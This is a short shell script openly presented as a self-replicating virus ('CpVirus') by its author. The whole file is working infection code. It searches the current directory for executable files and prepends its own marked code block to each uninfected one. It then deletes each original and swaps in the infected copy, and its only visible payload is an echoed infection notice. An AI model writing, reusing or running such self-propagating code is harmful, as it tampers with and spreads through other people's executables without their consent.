#!/bin/sh
#Virus by ijse start
#=====Your Code Here=========
echo "!This file has been infected by CpVirus written by ijse."
echo "!You can remove the virus code by editing this file."
echo "!Just remove the lines between '#Virus by ijse start' and '#Virus by ijse end'."
#============================
for exfile in `find ./ -executable -type f`;
do
tmpFile=$exfile\.tmp
firstLine=`head -2 $exfile|tail -1`
if [ "$firstLine" != "#Virus by ijse start" ]; then
endnum=`grep -n -x "#Virus by ijse end" $0 | awk -F":" '{print $1}'`
startnum=`grep -n -x "#Virus by ijse start" $0 | awk -F":" '{print $1}'`
let length=$endnum-$startnum+1
echo "`head -$endnum $0|tail -$length`" > $tmpFile
cat $exfile >> $tmpFile
chmod u+x $tmpFile
rm $exfile
mv $tmpFile $exfile
fi
done
#Virus by ijse end
//shell/1294